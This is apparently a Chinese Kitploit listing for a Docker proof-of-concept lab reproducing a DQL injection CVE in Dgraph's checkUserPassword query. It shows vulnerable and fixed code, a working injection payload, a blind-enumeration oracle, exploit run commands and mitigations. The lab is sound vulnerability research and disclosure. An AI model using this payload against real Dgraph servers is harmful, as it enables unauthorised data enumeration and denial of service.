Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-44840-poc — Docker 实验环境,复现 CVE-2026-44840,即 Dgraph 的 checkUserPassword GraphQL 查询中的 DQL 注入漏洞,包含漏洞利用脚本以及存在漏洞版本与已修补版本的对比。 | Kitploit
工具/GitHubGitHub/isaca0315/cve-2026-44840-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试红队数据库安全实验室与实践
GitHubisaca0315/cve-2026-44840-poc

CVE-2026-44840-poc

Docker 实验环境,复现 CVE-2026-44840,即 Dgraph 的 checkUserPassword GraphQL 查询中的 DQL 注入漏洞,包含漏洞利用脚本以及存在漏洞版本与已修补版本的对比。

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-44840 — PoC:通过 checkUserPassword 的 Dgraph DQL 注入(GraphQL)

复现 Dgraph 中真实注入漏洞的 Docker 实验环境:

  • 存在漏洞:dgraph/dgraph:v25.3.3
  • 已修复 :dgraph/dgraph:v25.3.4

2026 年真实 CVE · CVSS 3.1 7.5(High) · CWE-943(数据查询逻辑中的 不当中和)· 归因于 Kai Aizen(GHSA-q2m9-6jp9-c6mc、GO-2026-5837)。 仅限隔离且已授权的实验环境使用。

背景

checkUserPassword 是 Dgraph 为带有 @secret(field: "password") 指令的类型 自动生成 GraphQL 模式时产生的查询。在 (≤ v25.3.3)中,密码通过 拼接,:

graphql/resolve/query_rewriter.go
fmt.Sprintf
既未转义也未参数化
root@kitploit:~
pwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password)   // VULNERABLE

攻击者的密码被原样插入到 DQL 中:

root@kitploit:~
pwd as checkpwd(User.password, "<攻击者的密码>")

修复方案(v25.3.4,提交 cee702c)将该值参数化:

root@kitploit:~
pwdVar = "$pwd0"                                  // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}

PoC 的功能

  1. 启动两个集群 Dgraph(zero+alpha):v25.3.3 和 v25.3.4。

  2. 上传模式 type User @secret(field: "password") 并创建 admin、alice、bob。

  3. 向 checkUserPassword 发送一个逃逸出 DQL 字面量并添加任意查询块的密码:

    root@kitploit:~
    x")
    }
    injected(func: has(User.name)) {
      User.name
      User.email
      uid
    }
    #
    

    在 v25.3.3 中,injected { ... } 块会被解析并在服务端执行。

可观测项

测试v25.3.3(存在漏洞)v25.3.4(已修复)
使用正确密码登录OK(touched_uids 7)OK(touched_uids 7)
使用错误密码登录null(5)null(5)
注入的密码 )} injected{...} #被执行:touched_uids 14被中和:5
预言机:注入 eq(User.name,"bob")touched_uids 7(存在)5
预言机:注入 eq(User.name,"nobody")5(不存在)5
dgraph alpha 日志显示带有 injected 块的 DQL参数化的 DQL,无该块

CVE 影响:服务端任意 DQL 执行 → 数据盲枚举 (通过 touched_uids/时序)、模式发现(has()、eq())以及通过注入高开销遍历 (expand(_all_)、递归)导致的资源耗尽型 DoS。

使用方法

root@kitploit:~
# 1) 启动全部服务,准备模式/用户并执行漏洞利用
bash run.sh

# 2) 仅执行漏洞利用(如果实验环境已准备好)
python3 exploit/exploit.py

# 3) 从零搭建环境(pod / 转储)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280

# 4) 清理
docker compose down            # 保留卷
docker compose down -v         # 删除卷(dgraph 数据)

实验环境端点

服务HTTP GraphQLHTTP admingRPC alpha
alpha v25.3.3http://localhost:8180/graphqlhttp://localhost:8180/admin9180
alpha v25.3.4http://localhost:8280/graphqlhttp://localhost:8280/admin9280

结构

root@kitploit:~
CVE-2026-44840-poc/
├── docker-compose.yml     # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql         # type User @secret(field:"password")
├── run.sh                 # orquestador completo
├── REDTEAM.md             # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py         # esquema + usuarios
└── exploit/exploit.py     # inyeccion DQL e oraculo

攻击性操作指南(侦察、逐步利用、payload、证据 及 OPSEC):REDTEAM.md。

Payload 详情

密码作为 GraphQL 变量传输;到达 rewriter 的值未被转义,并被 插入到 checkpwd(User.password, "...") 中。Payload:

root@kitploit:~
x")            # 关闭 checkpwd 的字面量和函数
}              # 关闭 checkPwd 块
injected(...)  # 攻击者的新 root 块
  { ... }
#              # 注释掉模板的其余部分:  ")

# 可防止模板后缀(checkpwd 的闭合 ")破坏解析。

缓解措施

  • 升级到 dgraph v25.3.4+。
  • 简短版:始终在 DQL 中参数化值(dgoapi.Request 的 vars), 绝不用 fmt.Sprintf 插值输入。
  • 启用索引/ACL,且不要在生产环境中暴露未认证的 GraphQL。# CVE-2026-44840-poc
下载工具